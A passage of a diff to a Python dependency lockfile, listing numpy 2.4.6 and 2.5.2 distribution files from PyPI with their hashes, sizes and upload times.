+ { url = "https://files.pythonhosted.org/packages/aa/b4/298628d98c72b57e57f7165ae6a481a1deaf6f3c28262a6e4c739c275930/numpy-2.4.6-cp314-cp314-win32.whl", hash = "sha256:aaf159caa35993cb1f56fb9b8e4610d35758e7ca005412eb1daa856a78c9c4b1", size = 6010196, upload-time = "2026-05-18T23:36:05.92Z" },
+ { url = "https://files.pythonhosted.org/packages/df/ac/46de6dda46478f7942f839e094970be2d4a861e005c4b3bf07c92e291a09/numpy-2.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:b507f5c4c1d508876d1819b6bf9a49d365b96320b5d4993426b33a23ca4b8261", size = 12450334, upload-time = "2026-05-18T23:36:09.107Z" },
+ { url = "https://files.pythonhosted.org/packages/78/92/b8b798ac784102c0da830d2257d59358e3d3d90d1e2b3f2575dad976c5cf/numpy-2.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:6f41ae150c4e32db4f3310cdaf64b1593a03dbabe29eec77fc9b50fe64061df6", size = 10495678, upload-time = "2026-05-18T23:36:12.766Z" },
+ { url = "https://files.pythonhosted.org/packages/30/34/ec28d1aa8115971537c01469ab2011ee96827930f0a124de1000cc2a7ed7/numpy-2.4.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ece3d2cfe132e7d51f44a832b303895e6f2d499c5e74dfbdb06ee246147a304a", size = 14823672, upload-time = "2026-05-18T23:36:16.473Z" },
+ { url = "https://files.pythonhosted.org/packages/16/bd/f6d1fede4e54e8042a7ff97bb495510f3c220f94bcd9e8b228e87c92cc0d/numpy-2.4.6-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:e3e5193ef5a3dc73bceee50f7fdc2c90dbb76c42df8d8fae3d1067a583df579e", size = 5328731, upload-time = "2026-05-18T23:36:19.767Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/f0/e105b9e2fd728a9910103884decd6951d9dd73896b914a98d9a231de02ee/numpy-2.4.6-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:17f9ade344e7d9b464a084d69bcf18fc691cb1db67c62ed80820bf4926d78f0e", size = 6649805, upload-time = "2026-05-18T23:36:22.266Z" },
+ { url = "https://files.pythonhosted.org/packages/82/dd/1206a7ca6ab15e3f02069707ca96222e202af681bb73756da7527f3cb837/numpy-2.4.6-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9cd5ffd25db4e7ba6a375693b3fc0fc1791ec636c17db3720da19bde7180ec43", size = 15730496, upload-time = "2026-05-18T23:36:25.713Z" },
+ { url = "https://files.pythonhosted.org/packages/51/e7/38d3ea825dcab85a591734decb2f6c67caa7c8367d374df1a1c3842f9b07/numpy-2.4.6-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d92c3819208a60205a12a245c91ad70cb0a85336659b19b834205573ac8456e", size = 16679616, upload-time = "2026-05-18T23:36:29.652Z" },
+ { url = "https://files.pythonhosted.org/packages/93/b7/caabfdf53edf663e0b4eb74d7d405d83baef09eb5e83bcd32d601d72b93e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e85b752a1e912b70eaad4fafbd4d1238007ab221de2009b9a2f5ae7461239895", size = 17085145, upload-time = "2026-05-18T23:36:33.449Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/45/68d7c33a6bcf3e5aa3bdbd57a367e6f615286dfd6482f97e8ffeb734306e/numpy-2.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:29cb7f67d10b479ff07c17d33e39f78c07f71c40ef30d63c153d340e96cd3fb4", size = 18403813, upload-time = "2026-05-18T23:36:37.369Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/50/0753655aa844c99cd9e018aacf76f130f1bd81d881bb74bc0aef5d73a8ba/numpy-2.4.6-cp314-cp314t-win32.whl", hash = "sha256:260a5d70215b61ab4fadf5c7baacd64821842975eea312125ed3c39a6391b063", size = 6156982, upload-time = "2026-05-18T23:36:40.817Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d4/7c67becf668f973cb490cec3e98dfd799d866f9c989a54d355672cfa0db6/numpy-2.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:81a1cca95ed5bb92aa8b10dd2cdc9a0d3853a50fad926c28b5d7e8ea54389627", size = 12638908, upload-time = "2026-05-18T23:36:43.996Z" },
+ { url = "https://files.pythonhosted.org/packages/43/bb/e1c71a4295b1b1d1393d50dbb4f2a36283c6859d9d3892e84f00ec5a91d5/numpy-2.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:0c9136e14ed34a9e343a31c533d78a9813a69a3148332bce5e9821cb2f996e66", size = 10565867, upload-time = "2026-05-18T23:36:47.114Z" },
+ { url = "https://files.pythonhosted.org/packages/de/12/b422cc84439adc0d00de605bf4a308890ae5c26f2c71fbd73e5d08fbb0dd/numpy-2.4.6-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:55cced7c52e981362f708ad635198e97a752dfba412cc03c23bbf3bd8d5cd662", size = 16847511, upload-time = "2026-05-18T23:36:50.673Z" },
+ { url = "https://files.pythonhosted.org/packages/44/53/f481bef68011740f8849418d82db07230e825013f31f4eef5ba5b805316a/numpy-2.4.6-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d6da64deb6b8ed903e7560180a92f2d804ee1ba5eeb849ac2748b8c1aba1f6d7", size = 14889064, upload-time = "2026-05-18T23:36:53.879Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/57/42ed575c10ced8af951d426bc4e1f8aff16fd851db33f067036215a7f860/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:68a5124b13fa6cc2086764a20005d30bc0548146f7f5322f02fce212ca14317f", size = 5394157, upload-time = "2026-05-18T23:36:57.194Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/ef/f66cc724fcc36c1e364c67f51ae9146090b8b584f27d58b97fdae3edd737/numpy-2.4.6-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:948424b06129ce883307e8cff868c31396d8dc7630a59c61d70d98dbe70f222c", size = 6708728, upload-time = "2026-05-18T23:36:59.575Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/9c/c531f2293b91265d8b48e9b329f54fdd7ffae73cb4134ea10cca4237e9cc/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbbdb29840ca3d91ee0fece42fc29278886d908280bfec0a5846c6f901a3eb0", size = 15798374, upload-time = "2026-05-18T23:37:02.674Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/b0/413077f6b1153ed3cba361401c6783bbad6114804a000cc22eb71c13e190/numpy-2.4.6-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ad03c0965fb3c692200e74d458ca28c1dbb4ce96f9a479a8aa041ad5fabca02", size = 16747286, upload-time = "2026-05-18T23:37:06.327Z" },
+ { url = "https://files.pythonhosted.org/packages/15/ce/e5ec180bc41812edcd8daeb8639d205622c0e8c02259d8ab25a0201b3c2a/numpy-2.4.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:2803abfebfc990042cd494d8ce2d5f82e9d847af6d35ec486923aa19dbad5e73", size = 12504263, upload-time = "2026-05-18T23:37:09.715Z" },
+]
+
+[[package]]
+name = "numpy"
+version = "2.5.2"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+ "python_full_version >= '3.12'",
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9a/80/db0b4559e57ec36362bedbb05530a87fafbcb6067708c946967a41d449e7/numpy-2.5.2.tar.gz", hash = "sha256:d482d171c406ae88c5b19cad3b6a1c4c5209f886ab74bc44c2c865c23f52d860", size = 20773161, upload-time = "2026-08-09T13:48:27.962Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/69/72/dccb0aaf40972777283303919f613964227266d0c13adebb79ac124f1c3e/numpy-2.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:14e373cfc6387177e8409dac3c7159be8eb05cd77096cd7c950268b86f62831c", size = 16891693, upload-time = "2026-08-09T13:44:51.702Z" },
+ { url = "https://files.pythonhosted.org/packages/60/2e/b5aee50a1f74ac815cf8331812cb8251e29024025de462e0c047641c614c/numpy-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4bbd96c833ecc8cc069ce518078fc8c60cb9cbfb0fea5b7a803ad65035596d03", size = 11903109, upload-time = "2026-08-09T13:44:55.501Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/f4/29e78102a80601cf034d4e9767022cffeca2c3b4c926e1754572ca95593d/numpy-2.5.2-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:6e8172ddfcf5cf74b811d372b570b83c60bd2de87a6fbfbebdadb4a9bd9c6cbb", size = 5350202, upload-time = "2026-08-09T13:44:58.401Z" },
+ { url = "https://files.pythonhosted.org/packages/11/4b/dcd3b7eadaf4035d2c7a4289d232523a6964f602598ef7674e4bd7291f93/numpy-2.5.2-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:65f188481f1669e26f62b701e8205d19e460fa4a9b52a1414ba382330e4a3414", size = 6687736, upload-time = "2026-08-09T13:45:00.813Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/21/4947e0e9d6c9fc2e2ff15b8949049ee44f63adb9cacc729ab8793f97e712/numpy-2.5.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ee9c4eeb8454b3660a8b53493563c3e121c2fc94fbd72b848ef814ed7b676a9", size = 15612696, upload-time = "2026-08-09T13:45:04.151Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/5f/62d28cf019460c7f1394105b4d49d9911a9c444cb77ab0bd95a204c5a6de/numpy-2.5.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3cdec01fa790a186d430433fdd4d4ffb70eed6f0eeb4bf05c8dbe2dce0a9bcb8", size = 16722264, upload-time = "2026-08-09T13:45:07.714Z" },
+ { url = "https://files.pythonhosted.org/packages/14/25/3f0be4c1b9fdf5dd5e708a6806978564d7c46a055c000496309ff2a2f8af/numpy-2.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7999d4ddb0c4025018373fd787510d46e04c769467af22869707b3c1cfd459ab", size = 16974396, upload-time = "2026-08-09T13:45:11.316Z" },
+ { url = "https://files.pythonhosted.org/packages/22/72/6262cbdeeb45da9d971e40715f579d791603ba8ec0b5e2db1ac55454421d/numpy-2.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c1f017dc0875c9209d219f97feceb7d54c2661bb243deb4114478e1295808af7", size = 18476044, upload-time = "2026-08-09T13:45:14.869Z" },
+ { url = "https://files.pythonhosted.org/packages/36/33/29208b8b075bde62d26a81d14b358c42b0f69b6cabd98d4ff97f37f22b05/numpy-2.5.2-cp312-cp312-win32.whl", hash = "sha256:d6a48072864e3324e194a8fbb3c657bcc5b5c869dbc64c9537b1d5c862572c0a", size = 6072817, upload-time = "2026-08-09T13:45:17.867Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/b9/87fea2769fe1c47c1b5b01d8310772c9d1a85d485de7cf386ef7a3332b02/numpy-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:28ac63476ec7651484215ee7fa15a1f78b57c14621f01e392afe17b9a1390ce4", size = 12464674, upload-time = "2026-08-09T13:45:20.734Z" },
+ { url = "https://files.pythonhosted.org/packages/14/52/032b97e00461ab0809bbe4c588b035620e5a14b8cdee47ecddefc7b17d33/numpy-2.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:27650bb0e7140fa3d37b9923b4803645e0b125d190f326eecfd3f4dad8e8ade1", size = 10397131, upload-time = "2026-08-09T13:45:23.73Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/d2/6b24738a0ef4557d189b150046cd07823c50e4273e8aebd651222e24306f/numpy-2.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8e4cb9a754c8a0c62eaa88273a5fba3391f4a610d1dee893c0755da31c083f15", size = 16886595, upload-time = "2026-08-09T13:45:27.323Z" },
+ { url = "https://files.pythonhosted.org/packages/65/60/f2d208d366f263f39c6e69ed309290717aab41078b6d04c9be2a84fa2a07/numpy-2.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:52c808f96484f5571a5cc863775ce50247c17dfb3b0361f8ed6b4b0456f80080", size = 11896845, upload-time = "2026-08-09T13:45:31.638Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/79/81e0bf24f4d020a2b1d5cd297a9f60c3f24eeb116f9bba5870443f7b6a4a/numpy-2.5.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:29d81e97f668489cba8ebfd796b9bdd453525d35dd9e162e2daec94bf3fc7740", size = 5343880, upload-time = "2026-08-09T13:45:34.373Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/cc/e3141cf06d1a8a2c7e107543fe1269c1d1af760d4d683c0794a4ee1127c2/numpy-2.5.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:afb3f0632d6b2e3ba04dbce8d1e48d321b369138b73830b5ca371a0e8d479d56", size = 6682264, upload-time = "2026-08-09T13:45:36.7Z" },
+ { url = "https://files.pythonhosted.org/packages/29/f1/2a64a307d92c5d98f5255a4014eb43bb6103ee477087b61ecae44a3aa9b9/numpy-2.5.2-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0aadf13b60048d501e05fa699efaf7734e2494f3498a4c2a5521d822640324f3", size = 15609566, upload-time = "2026-08-09T13:45:39.518Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/44/59a1eb68e773c4098d107ef34a0dbdeca501d72ffcfbff9a7707343921ce/numpy-2.5.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29b86ff8a6cc556b47ec6b64b194815cc80e6bf5eedcc6cddfd65318cb0b4eee", size = 16709995, upload-time = "2026-08-09T13:45:43.661Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/4c/3e54d4ddbc359a1295f8b633e8106bcd4d7d4a206e82df051bdfb3058755/numpy-2.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6950c4b7dd562453090548ba7f5da7e59f57f85663f15d5dcc60e249192f7e59", size = 16972511, upload-time = "2026-08-09T13:45:47.094Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/9f/02e371638ebf19b66d46231e4be52999e87f32d1961b113bc45656608b22/numpy-2.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b9727f472d2f3888053b8a75ab0cb94745a9de224bb5846dbadc0092101bc71d", size = 18465609, upload-time = "2026-08-09T13:45:50.808Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/ae/ad6645abc7a3510fe48e8ea1ab4598166f500057ef4ebf38bfad4f1577de/numpy-2.5.2-cp313-cp313-win32.whl", hash = "sha256:4f9744f9fbdcea0bc552e8f19e1f141f811a3f9bc2be2cc6e86d982cab23e3f4", size = 6070204, upload-time = "2026-08-09T13:45:54.111Z" },
+ { url = "https://files.pythonhosted.org/packages/15/20/f3489f86d81ea460b2bcdceaed094142ca6579f6be0ec527b781d39afe68/numpy-2.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:85aaccb24182c25df891ad0ec333585967e115269d5f1b17f2c9ae005bc96657", size = 12460532, upload-time = "2026-08-09T13:45:57.167Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/21/35b31dde1b283b79de828b80f876afd8c94e28fe1e9c375f89e261cc4c0d/numpy-2.5.2-cp313-cp313-win_arm64.whl", hash = "sha256:bd68ece1553d2023c09a4226d9e41c586ad2d20594d1a456186c33513d2cb3f2", size = 10396725, upload-time = "2026-08-09T13:46:00.478Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/f8/c3b222bf075b50afd8e949a07a15c4b312a4a84bd8102a332bcd953cbbb4/numpy-2.5.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d787cf769c3baeb5f6235e778edb52c08dfa923789b5958f28e6450f96107cb1", size = 16885180, upload-time = "2026-08-09T13:46:03.939Z" },
+ { url = "https://files.pythonhosted.org/packages/17/e1/2c1d4b1987795a92b5bbf7c24fe249ab96aa2573ab0d7604802c189d7b86/numpy-2.5.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:24b9dc2e3d84aa58523798805194e23e736f3f6ce2d1a5b92583ae734e6dbda8", size = 11907878, upload-time = "2026-08-09T13:46:07.045Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/ee/d08226fc858044355983a6e5b94f08ff6f3969e0a2b160a4a89f0ddb3445/numpy-2.5.2-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:9e9413326d726c2545bfa65d2c0876871e8d8386e77f992c1d426e180bbd4323", size = 5354922, upload-time = "2026-08-09T13:46:10.04Z" },
+ { url = "https://files.pythonhosted.org/packages/94/f0/6d3d933056440ebbc5e6bad92065fc6c26a48a84a36b1208580e94eea76c/numpy-2.5.2-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:60e902ac295855348a5ca2ea4c89108989a9f5fddfad3dfc0a8f36b10358567e", size = 6679168, upload-time = "2026-08-09T13:46:12.275Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/3b/ecd49dd90033cceb2704d88ca905d4d7d89b0e8c739608754ffd325fa820/numpy-2.5.2-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:50e500dc868e9313530ce12ba470fe50ff3afe3d62993ed6eff652dacd555b65", size = 15624501, upload-time = "2026-08-09T13:46:15.322Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/99/461bd36dbdfac6c1c53efa370bd55a83227542d0d118f1677dbf1a3dacd5/numpy-2.5.2-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318b9a4c845dbea06708a29c84ee429cc3065048db34cdb799047643492050ee", size = 16713701, upload-time = "2026-08-09T13:46:18.949Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/9c/2b251df9e8a5d647b62b0cbc1b90a91850c1cf4859ecb532fd0b4eacff6c/numpy-2.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34c319e2963be042673fb46570501b2f06c41924e17e3563d58646b4380dfb68", size = 16986065, upload-time = "2026-08-09T13:46:23.006Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/25/20de43f53ff1390534a124475055a19f01fe10c920a0fd11b8e18d6d6052/numpy-2.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f06571a052127dc1b4e8b83029b4d1b20daa2b64a31cdd181fc6bc774e9000eb", size = 18470031, upload-time = "2026-08-09T13:46:27.102Z" },
+ { url = "https://files.pythonhosted.org/packages/56/5e/0c577ca308d6da5eb79b546ba10bbe5b60148192194e2da060913b1de4f1/numpy-2.5.2-cp314-cp314-win32.whl", hash = "sha256:2cc779226e476d1e1f08c74068c419e60f41a9e0e069c92f6671d31d5c985e98", size = 6121028, upload-time = "2026-08-09T13:46:30.046Z" },
+ { url = "https://files.pythonhosted.org/packages/15/5c/7bcbd5b11f94199073320410cddcbb80cee62415bfeb540874b265c2d922/numpy-2.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:7587f53dfbd5edc0f7b87c6217b4c6d2d1f2ef9c3da70bc1315e7db5f8d7ec9d", size = 12597627, upload-time = "2026-08-09T13:46:32.886Z" },
+ { url = "https://files.pythonhosted.org/packages/87/bc/4d0b06fba0da90ccc75af62823cb9dcedb6c9ea0cffa058cb2c9ee773a77/numpy-2.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:3e4c367352d3747784248a227fbec218e193b56f7e6692e3b64fc805478ecfdf", size = 10680414, upload-time = "2026-08-09T13:46:36.036Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/17/f429aac9dc08833a0d0f188eba38c532a751b1a1f2ca6018a37b455cb321/numpy-2.5.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b879fb674276e331513fb136b78dbc6bd3c848309e0d841cfd63be3896c4cfc1", size = 12026967, upload-time = "2026-08-09T13:46:39.084Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/9f/d0849de96a2a4ceaa16662f18ee13eaa9c0aa418269fdc8c4857c56b11da/numpy-2.5.2-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:fd0d703772bba096843785bd38371e31bb4a0c1151497ad5739d182114a73f7f", size = 5473874, upload-time = "2026-08-09T13:46:42.075Z" },
+ { url = "https://files.pythonhosted.org/packages/89/3c/8df216d4a4a5422a3de045301cf7df8ea47286d76f5cb7160b0128ac26b7/numpy-2.5.2-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:3a2f061cebd9e3d23bdcfaaded5e2293a4c6a5b60fa42df85d410a725ce621bf", size = 6789276, upload-time = "2026-08-09T13:46:44.387Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/3a/20d7e9891c4ddfadd6ff8d95bf4b29f353d8e1770553de2099880551dfb9/numpy-2.5.2-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6df895598c0edcb41030126c89e0f353b07d93238116143b7405e937359736c4", size = 15659154, upload-time = "2026-08-09T13:46:47.538Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/d6/f3aa3d2688bf501b858835c6bd087ae9b51a56ae6fca8e2b0990abd177af/numpy-2.5.2-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1ab3d4a901f844ea836c3e80bf463c6a27d7f3c14e8e292fcf28d348b25b9bce", size = 16748909, upload-time = "2026-08-09T13:46:51.442Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/8f/1c5cae8d2baf86ab802ae97a00be55bc7e21ebc11b12bbc33376c5f05342/numpy-2.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cebc2d6dbb605a7703d59751dea4bd6b0ab127a5a4338a6f432df1936fef8b26", size = 17027685, upload-time = "2026-08-09T13:46:55.095Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/27/71d3467404aedc1c24ce79610f91b52b0b0f466c43a701aa56fc75c145ab/numpy-2.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eaca7ff36f0f52e2111ec71f169d8fd3e889e7ddc0d2592e0d703fd8d3ce8fac", size = 18501181, upload-time = "2026-08-09T13:46:59.09Z" },
+ { url = "https://files.pythonhosted.org/packages/14/2f/42921d27c40aea7e077f4a423ae509fd9220b028cd787bafefd8ab2b3a5f/numpy-2.5.2-cp314-cp314t-win32.whl", hash = "sha256:ddf47472af2e4280d79bac82304f5e80150211f1b9e614b760061d5fdfbb6eba", size = 6271085, upload-time = "2026-08-09T13:47:01.903Z" },
+ { url = "https://files.pythonhosted.org/packages/75/e6/bad5f5d56de9b1971bac959963dda276d35c40f1854475005434bbe08692/numpy-2.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:44ef9675d908e65f9953063837c3277730f3f4437615a4cdab67b366cabaf884", size = 12787971, upload-time = "2026-08-09T13:47:04.963Z" },
+ { url = "https://files.pythonhosted.org/packages/df/05/f608795cb34391acd67e38d94a3c36abd8d8576293a3a80727d7595c372c/numpy-2.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:eaa088384c46f519dacb93b7ec483a6d6b19a4a2085ae4f25ab9b1c43d387d1e", size = 10750306, upload-time = "2026-08-09T13:47:07.976Z" },
+ { url = "https://files.pythonhosted.org/packages/33/c6/28de0191c5f82b7d42a0a51390ba98587048aa93a39fafb05bdbe6e8d00c/numpy-2.5.2-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:078f9b027b478c9379b9677babbf0f8b8f1ecfada27636d7b9a93990c638739f", size = 16885274, upload-time = "2026-08-09T13:47:11.439Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/d1/973ca116000d244897e468ea1aff30b589e5022e3c8744b71706fe33bd57/numpy-2.5.2-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:50a68f4bacd8a2b33d8da3d2269d0d78500f86ea582e4786dc10f5ef2c2c6842", size = 11907846, upload-time = "2026-08-09T13:47:15.128Z" },
+ { url = "https://files.pythonhosted.org/packages/78/d9/8c4b3937ef204cb2fd88d389ccd0f265a2ffb11f35a01d2064cf46714bd6/numpy-2.5.2-cp315-cp315-macosx_14_0_arm64.whl", hash = "sha256:e79aba74ffaf5f78a050d777c184cddf8fdffabab38acf5f3ef1fecbc17895d6", size = 5354892, upload-time = "2026-08-09T13:47:18.07Z" },
+ { url = "https://files.pythonhosted.org/packages/74/9b/b6ee65ea2999fdb7023935e108e6fb776ee4082aa15f159acfa857e578c8/numpy-2.5.2-cp315-cp315-macosx_14_0_x86_64.whl", hash = "sha256:9a0731745a72a184490a582fb4af2533512bd071ace67785b5fdffc0ae58dce8", size = 6679309, upload-time = "2026-08-09T13:47:20.456Z" },
+ { url = "https://files.pythonhosted.org/packages/43/f3/acb18d8b137a393c8e7803a8c994c9e64bde3930692a69d826993113a159/numpy-2.5.2-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4ec954036759bcee3aa484f8603bd9c14f3e776293b85578b8734c2d72777c69", size = 15625850, upload-time = "2026-08-09T13:47:24.365Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/bf/a8e9bb0db815a0e265b5744ebedd3af0bd5faad8604e5b50a1cd012f3c91/numpy-2.5.2-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dc649493697006bc90614a5f0bbc8cb3cb1866715c474e473694968d7e6b99ab", size = 16713664, upload-time = "2026-08-09T13:47:27.965Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/c3/6e913736b3dd6582344af32418b5fb9dab34282e8a8174ae1d54ceb0fc13/numpy-2.5.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:cf7de32f486e4ac9e2d93b810f9e9ac72a728dd46a32a0bb403222f27f653514", size = 16986749, upload-time = "2026-08-09T13:47:31.541Z" },
+ { url = "https://files.pythonhosted.org/packages/80/09/7d3b23eff5c7428ef6c01e6f7052bb60d504c4d33e317b36b8959c24ad97/numpy-2.5.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:2ffa7bacab3e2ee1b19ed31766bb60bb380b68c23f051e199c5cc598afd68710", size = 18470495, upload-time = "2026-08-09T13:47:35.364Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/a4/68a321d825374f6eb677ffe8ef8c6b9a328304e6fd2e39d9530822776607/numpy-2.5.2-cp315-cp315-win32.whl", hash = "sha256:6b588cc8f902d6bff201c19fd00c43ab8545671e3554d014e12e14139e5e8617", size = 6120696, upload-time = "2026-08-09T13:47:38.561Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/23/deafbb1700f79fae9cd1e91220f133d124cc267de1b584da3fbf6db2f6cd/numpy-2.5.2-cp315-cp315-win_amd64.whl", hash = "sha256:07d4e89f3a9ab0a9ba24264ccdb642b3dd951b2281e8883a5481a4aa79cc31a7", size = 12597324, upload-time = "2026-08-09T13:47:41.401Z" },
+ { url = "https://files.pythonhosted.org/packages/33/cd/3272ba105e3bbbdaeb11357eda31e7a6825ffe159e8171665660299a948f/numpy-2.5.2-cp315-cp315-win_arm64.whl", hash = "sha256:a610dc7e3c52edd39c2bc2375ff9c3fd59cb3ad00e4472d36f83bc1457145788", size = 10680466, upload-time = "2026-08-09T13:47:44.873Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/0e/58370637b1bb70a5c9ce2b43f4b521ccb224e36ccb76a6596b17ae4b447c/numpy-2.5.2-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:40f4d451aed46a8046a1aae41c4e55fb3612273df9c502480135e1501576a34b", size = 16993947, upload-time = "2026-08-09T13:47:48.97Z" },
+ { url = "https://files.pythonhosted.org/packages/10/93/2abcb807712b289d6d60fe4cf30532f98974a8396d885650f3ba5a13026e/numpy-2.5.2-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:c081cbe16ba1ab53078e5ff29013621e33c509eedab055775d956427712c236e", size = 12025331, upload-time = "2026-08-09T13:47:52.646Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/3a/2898e003a5fbaf87e76c039b4ee1f5eb390471b4ffe74887c1f34c4e791e/numpy-2.5.2-cp315-cp315t-macosx_14_0_arm64.whl", hash = "sha256:0090ccdd57ec2703e9b49d0bf554767370581c1dd0a6b2bb2b2d9def317d042a", size = 5472336, upload-time = "2026-08-09T13:47:55.403Z" },
+ { url = "https://files.pythonhosted.org/packages/61/a5/23f69d07c544597b29758b31b55c27dc9d541012a2c1496189fef702aec2/numpy-2.5.2-cp315-cp315t-macosx_14_0_x86_64.whl", hash = "sha256:6a9bb119fb8dd21ba30b3f0e555b7e2b081bd9883af21ec9c1c633d161cda3a8", size = 6788387, upload-time = "2026-08-09T13:47:58.192Z" },
+ { url = "https://files.pythonhosted.org/packages/15/ea/c0dbdbcf22f43782510a3e492dd3da73c6112b69cac8929d16d127536fc4/numpy-2.5.2-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a839318485284a6fb31be4f8f2c91c8f2cb22f4543c4a8903f12b0671ffe07cc", size = 15667096, upload-time = "2026-08-09T13:48:01.562Z" },
